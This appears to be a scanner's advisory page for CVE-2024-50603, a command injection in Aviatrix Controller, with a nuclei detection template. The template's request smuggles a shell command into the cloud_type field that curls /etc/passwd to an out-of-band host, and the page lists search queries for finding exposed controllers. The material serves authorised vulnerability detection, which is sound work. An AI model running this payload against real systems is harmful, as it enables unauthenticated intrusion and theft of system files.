Aviatrix Controller - Remote Code Execution

Exploited in the wild. Listed by CISA on 2025-01-16; known to be used by ransomware.

criticalseverity

10CVSS score

98.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.

Impact

Attackers can exploit vulnerabilities to compromise the system.

Fix

Update to the latest patched version addressing CVE-2024-50603.

How to confirm it

Send: POST /v1/api
Positive when: contains in interactsh_protocol "http" AND status 200 AND matches in interactsh_request /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2024-50603 -u <target>

The full check

id: CVE-2024-50603

info:
  name: Aviatrix Controller - Remote Code Execution
  author: newlinesec,securing.pl
  severity: critical
  description: |
    An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.
  impact: |
    Attackers can exploit vulnerabilities to compromise the system.
  remediation: |
    Update to the latest patched version addressing CVE-2024-50603.
  reference:
    - https://www.securing.pl/en/cve-2024-50603-aviatrix-network-controller-command-injection-vulnerability/
    - https://docs.aviatrix.com/documentation/latest/network-security/index.html
    - https://docs.aviatrix.com/documentation/latest/release-notices/psirt-advisories/psirt-advisories.html?expand=true#remote-code-execution-vulnerability-in-aviatrix-controllers
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50603
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-50603
    cwe-id: CWE-78
    epss-score: 0.98518
    epss-percentile: 0.99921
  metadata:
    verified: true
    max-request: 1
    vendor: aviatrix
    product: controller
    shodan-query:
      - http.title:"aviatrix controller"
      - http.title:"aviatrix cloud controller"
    fofa-query:
      - app="aviatrix-controller"
      - title="aviatrix cloud controller"
    google-query: intitle:"aviatrix cloud controller"
    zoomeye-query: app="Aviatrix Controller"
  tags: cve,cve2024,aviatrix,controller,rce,oast,kev,vkev,vuln

variables:
  oast: "{{interactsh-url}}"

http:
  - raw:
      - |
        POST /v1/api HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+@/etc/passwd+{{oast}})

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        name: http
        words:
          - "http"

      - type: status
        status:
          - 200

      - type: regex
        part: interactsh_request
        regex:
          - 'root:.*:0:0:'

References

Use this check only on systems you are authorised to test. Where the data comes from